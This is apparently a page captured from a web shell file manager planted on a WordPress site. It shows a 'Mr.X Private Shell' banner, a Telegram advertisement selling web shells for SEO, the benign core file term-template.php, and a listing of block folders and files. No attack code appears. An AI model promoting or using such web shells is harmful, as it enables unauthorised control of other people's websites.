__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* Server-side rendering of the `core/term-template` block.
*
* @package WordPress
*/
/**
* Renders the `core/term-template` block on the server.
*
* @since 6.9.0
*
* @param array $attributes Block attributes.
* @param string $content Block default content.
* @param WP_Block $block Block instance.
*
* @return string Returns the output of the term template.
*/
function render_block_core_term_template( $attributes, $content, $block ) {
if ( ! isset( $block->context ) || empty( $block->context['termQuery'] ) ) {
return '';
}
$query = $block->context['termQuery'];
$query_args = array(
'number' => $query['perPage'],
'order' => $query['order'],
'orderby' => $query['orderBy'],
'hide_empty' => $query['hideEmpty'],
);
$inherit_query = isset( $query['inherit'] )
&& $query['inherit']
&& ( is_tax() || is_category() || is_tag() );
if ( $inherit_query ) {
// Get the current term and taxonomy from the queried object.
$queried_object = get_queried_object();
// For hierarchical taxonomies, show children of the current term.
// For non-hierarchical taxonomies, show all terms (don't set parent).
if ( is_taxonomy_hierarchical( $queried_object->taxonomy ) ) {
// If showNested is true, use child_of to include nested terms.
// Otherwise, use parent to show only direct children.
if ( ! empty( $query['showNested'] ) ) {
$query_args['child_of'] = $queried_object->term_id;
} else {
$query_args['parent'] = $queried_object->term_id;
}
}
$query_args['taxonomy'] = $queried_object->taxonomy;
} else {
// If not inheriting set `taxonomy` from the block attribute.
$query_args['taxonomy'] = $query['taxonomy'];
// If we are including specific terms we ignore `showNested` argument.
if ( ! empty( $query['include'] ) ) {
$query_args['include'] = array_unique( array_map( 'intval', $query['include'] ) );
$query_args['orderby'] = 'include';
$query_args['order'] = 'asc';
} elseif ( empty( $query['showNested'] ) ) {
// We set parent only when inheriting from the taxonomy archive context or not
// showing nested terms, otherwise nested terms are not displayed.
$query_args['parent'] = 0;
}
}
$terms_query = new WP_Term_Query( $query_args );
$terms = $terms_query->get_terms();
if ( ! $terms || is_wp_error( $terms ) ) {
return '';
}
$content = '';
foreach ( $terms as $term ) {
// Get an instance of the current Term Template block.
$block_instance = $block->parsed_block;
// Set the block name to one that does not correspond to an existing registered block.
// This ensures that for the inner instances of the Term Template block, we do not render any block supports.
$block_instance['blockName'] = 'core/null';
$term_id = $term->term_id;
$taxonomy = $term->taxonomy;
$filter_block_context = static function ( $context ) use ( $term_id, $taxonomy ) {
$context['termId'] = $term_id;
$context['taxonomy'] = $taxonomy;
return $context;
};
// Use an early priority to so that other 'render_block_context' filters have access to the values.
add_filter( 'render_block_context', $filter_block_context, 1 );
// Render the inner blocks of the Term Template block with `dynamic` set to `false` to prevent calling
// `render_callback` and ensure that no wrapper markup is included.
$block_content = ( new WP_Block( $block_instance ) )->render( array( 'dynamic' => false ) );
remove_filter( 'render_block_context', $filter_block_context, 1 );
// Wrap the render inner blocks in a `li` element with the appropriate term classes.
$term_classes = "wp-block-term term-{$term->term_id} {$term->taxonomy} taxonomy-{$term->taxonomy}";
$content .= '<li class="' . esc_attr( $term_classes ) . '">' . $block_content . '</li>';
}
$classnames = '';
if ( isset( $attributes['style']['elements']['link']['color']['text'] ) ) {
$classnames .= 'has-link-color';
}
$wrapper_attributes = get_block_wrapper_attributes( array( 'class' => trim( $classnames ) ) );
return sprintf(
'<ul %s>%s</ul>',
$wrapper_attributes,
$content
);
}
/**
* Registers the `core/term-template` block on the server.
*
* @since 6.9.0
*/
function register_block_core_term_template() {
register_block_type_from_metadata(
__DIR__ . '/term-template',
array(
'render_callback' => 'render_block_core_term_template',
)
);
}
add_action( 'init', 'register_block_core_term_template' );
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| accordion | Folder | 0755 |
|
|
| accordion-heading | Folder | 0755 |
|
|
| accordion-item | Folder | 0755 |
|
|
| accordion-panel | Folder | 0755 |
|
|
| archives | Folder | 0755 |
|
|
| audio | Folder | 0755 |
|
|
| avatar | Folder | 0755 |
|
|
| block | Folder | 0755 |
|
|
| button | Folder | 0755 |
|
|
| buttons | Folder | 0755 |
|
|
| calendar | Folder | 0755 |
|
|
| categories | Folder | 0755 |
|
|
| code | Folder | 0755 |
|
|
| column | Folder | 0755 |
|
|
| columns | Folder | 0755 |
|
|
| comment-author-name | Folder | 0755 |
|
|
| comment-content | Folder | 0755 |
|
|
| comment-date | Folder | 0755 |
|
|
| comment-edit-link | Folder | 0755 |
|
|
| comment-reply-link | Folder | 0755 |
|
|
| comment-template | Folder | 0755 |
|
|
| comments | Folder | 0755 |
|
|
| comments-pagination | Folder | 0755 |
|
|
| comments-pagination-next | Folder | 0755 |
|
|
| comments-pagination-numbers | Folder | 0755 |
|
|
| comments-pagination-previous | Folder | 0755 |
|
|
| comments-title | Folder | 0755 |
|
|
| cover | Folder | 0755 |
|
|
| details | Folder | 0755 |
|
|
| embed | Folder | 0755 |
|
|
| file | Folder | 0755 |
|
|
| footnotes | Folder | 0755 |
|
|
| freeform | Folder | 0755 |
|
|
| gallery | Folder | 0755 |
|
|
| group | Folder | 0755 |
|
|
| heading | Folder | 0755 |
|
|
| home-link | Folder | 0755 |
|
|
| html | Folder | 0755 |
|
|
| image | Folder | 0755 |
|
|
| latest-comments | Folder | 0755 |
|
|
| latest-posts | Folder | 0755 |
|
|
| legacy-widget | Folder | 0755 |
|
|
| list | Folder | 0755 |
|
|
| list-item | Folder | 0755 |
|
|
| loginout | Folder | 0755 |
|
|
| math | Folder | 0755 |
|
|
| media-text | Folder | 0755 |
|
|
| missing | Folder | 0755 |
|
|
| more | Folder | 0755 |
|
|
| navigation | Folder | 0755 |
|
|
| navigation-link | Folder | 0755 |
|
|
| navigation-submenu | Folder | 0755 |
|
|
| nextpage | Folder | 0755 |
|
|
| page-list | Folder | 0755 |
|
|
| page-list-item | Folder | 0755 |
|
|
| paragraph | Folder | 0755 |
|
|
| pattern | Folder | 0755 |
|
|
| post-author | Folder | 0755 |
|
|
| post-author-biography | Folder | 0755 |
|
|
| post-author-name | Folder | 0755 |
|
|
| post-comments-count | Folder | 0755 |
|
|
| post-comments-form | Folder | 0755 |
|
|
| post-comments-link | Folder | 0755 |
|
|
| post-content | Folder | 0755 |
|
|
| post-date | Folder | 0755 |
|
|
| post-excerpt | Folder | 0755 |
|
|
| post-featured-image | Folder | 0755 |
|
|
| post-navigation-link | Folder | 0755 |
|
|
| post-template | Folder | 0755 |
|
|
| post-terms | Folder | 0755 |
|
|
| post-time-to-read | Folder | 0755 |
|
|
| post-title | Folder | 0755 |
|
|
| preformatted | Folder | 0755 |
|
|
| pullquote | Folder | 0755 |
|
|
| query | Folder | 0755 |
|
|
| query-no-results | Folder | 0755 |
|
|
| query-pagination | Folder | 0755 |
|
|
| query-pagination-next | Folder | 0755 |
|
|
| query-pagination-numbers | Folder | 0755 |
|
|
| query-pagination-previous | Folder | 0755 |
|
|
| query-title | Folder | 0755 |
|
|
| query-total | Folder | 0755 |
|
|
| quote | Folder | 0755 |
|
|
| read-more | Folder | 0755 |
|
|
| rss | Folder | 0755 |
|
|
| search | Folder | 0755 |
|
|
| separator | Folder | 0755 |
|
|
| shortcode | Folder | 0755 |
|
|
| site-logo | Folder | 0755 |
|
|
| site-tagline | Folder | 0755 |
|
|
| site-title | Folder | 0755 |
|
|
| social-link | Folder | 0755 |
|
|
| social-links | Folder | 0755 |
|
|
| spacer | Folder | 0755 |
|
|
| table | Folder | 0755 |
|
|
| tag-cloud | Folder | 0755 |
|
|
| template-part | Folder | 0755 |
|
|
| term-count | Folder | 0755 |
|
|
| term-description | Folder | 0755 |
|
|
| term-name | Folder | 0755 |
|
|
| term-template | Folder | 0755 |
|
|
| terms-query | Folder | 0755 |
|
|
| text-columns | Folder | 0755 |
|
|
| verse | Folder | 0755 |
|
|
| video | Folder | 0755 |
|
|
| widget-group | Folder | 0755 |
|
|
| accordion-item.php | File | 2.35 KB | 0644 |
|
| accordion.php | File | 1.12 KB | 0644 |
|
| archives.php | File | 4.31 KB | 0644 |
|
| avatar.php | File | 5.61 KB | 0644 |
|
| block.php | File | 4.09 KB | 0644 |
|
| blocks-json.php | File | 213.45 KB | 0644 |
|
| button.php | File | 1.71 KB | 0644 |
|
| calendar.php | File | 5.93 KB | 0644 |
|
| categories.php | File | 4.54 KB | 0644 |
|
| comment-author-name.php | File | 2.08 KB | 0644 |
|
| comment-content.php | File | 2.4 KB | 0644 |
|
| comment-date.php | File | 1.82 KB | 0644 |
|
| comment-edit-link.php | File | 1.67 KB | 0644 |
|
| comment-reply-link.php | File | 2.03 KB | 0644 |
|
| comment-template.php | File | 4.39 KB | 0644 |
|
| comments-pagination-next.php | File | 1.88 KB | 0644 |
|
| comments-pagination-numbers.php | File | 1.59 KB | 0644 |
|
| comments-pagination-previous.php | File | 1.75 KB | 0644 |
|
| comments-pagination.php | File | 1.23 KB | 0644 |
|
| comments-title.php | File | 2.71 KB | 0644 |
|
| comments.php | File | 6.63 KB | 0644 |
|
| cover.php | File | 3.1 KB | 0644 |
|
| file.php | File | 1.83 KB | 0644 |
|
| footnotes.php | File | 3.68 KB | 0644 |
|
| gallery.php | File | 6.29 KB | 0644 |
|
| heading.php | File | 1.27 KB | 0644 |
|
| home-link.php | File | 5.31 KB | 0644 |
|
| image.php | File | 13.5 KB | 0644 |
|
| index.php | File | 4.99 KB | 0644 |
|
| latest-comments.php | File | 4.91 KB | 0644 |
|
| latest-posts.php | File | 8.53 KB | 0644 |
|
| legacy-widget.php | File | 3.92 KB | 0644 |
|
| list.php | File | 1.24 KB | 0644 |
|
| loginout.php | File | 1.63 KB | 0644 |
|
| media-text.php | File | 4.28 KB | 0644 |
|
| navigation-link.php | File | 13.63 KB | 0644 |
|
| navigation-submenu.php | File | 9.74 KB | 0644 |
|
| navigation.php | File | 48.39 KB | 0644 |
|
| page-list-item.php | File | 361 B | 0644 |
|
| page-list.php | File | 13.29 KB | 0644 |
|
| pattern.php | File | 1.75 KB | 0644 |
|
| post-author-biography.php | File | 1.49 KB | 0644 |
|
| post-author-name.php | File | 1.91 KB | 0644 |
|
| post-author.php | File | 2.67 KB | 0644 |
|
| post-comments-count.php | File | 1.25 KB | 0644 |
|
| post-comments-form.php | File | 2.74 KB | 0644 |
|
| post-comments-link.php | File | 2.18 KB | 0644 |
|
| post-content.php | File | 2.29 KB | 0644 |
|
| post-date.php | File | 3.55 KB | 0644 |
|
| post-excerpt.php | File | 3.53 KB | 0644 |
|
| post-featured-image.php | File | 9.14 KB | 0644 |
|
| post-navigation-link.php | File | 4.72 KB | 0644 |
|
| post-template.php | File | 5.61 KB | 0644 |
|
| post-terms.php | File | 3.55 KB | 0644 |
|
| post-time-to-read.php | File | 6.34 KB | 0644 |
|
| post-title.php | File | 2.09 KB | 0644 |
|
| query-no-results.php | File | 1.8 KB | 0644 |
|
| query-pagination-next.php | File | 3.69 KB | 0644 |
|
| query-pagination-numbers.php | File | 4.66 KB | 0644 |
|
| query-pagination-previous.php | File | 3.49 KB | 0644 |
|
| query-pagination.php | File | 1.15 KB | 0644 |
|
| query-title.php | File | 2.87 KB | 0644 |
|
| query-total.php | File | 2.48 KB | 0644 |
|
| query.php | File | 5.56 KB | 0644 |
|
| read-more.php | File | 1.79 KB | 0644 |
|
| require-dynamic-blocks.php | File | 4.59 KB | 0644 |
|
| require-static-blocks.php | File | 558 B | 0644 |
|
| rss.php | File | 4.5 KB | 0644 |
|
| search.php | File | 23.26 KB | 0644 |
|
| shortcode.php | File | 735 B | 0644 |
|
| site-logo.php | File | 6.19 KB | 0644 |
|
| site-tagline.php | File | 1.17 KB | 0644 |
|
| site-title.php | File | 1.82 KB | 0644 |
|
| social-link.php | File | 66.15 KB | 0644 |
|
| tag-cloud.php | File | 1.55 KB | 0644 |
|
| template-part.php | File | 9.92 KB | 0644 |
|
| term-count.php | File | 1.8 KB | 0644 |
|
| term-description.php | File | 1.73 KB | 0644 |
|
| term-name.php | File | 2.02 KB | 0644 |
|
| term-template.php | File | 4.36 KB | 0644 |
|
| video.php | File | 2.67 KB | 0644 |
|
| widget-group.php | File | 2.38 KB | 0644 |
|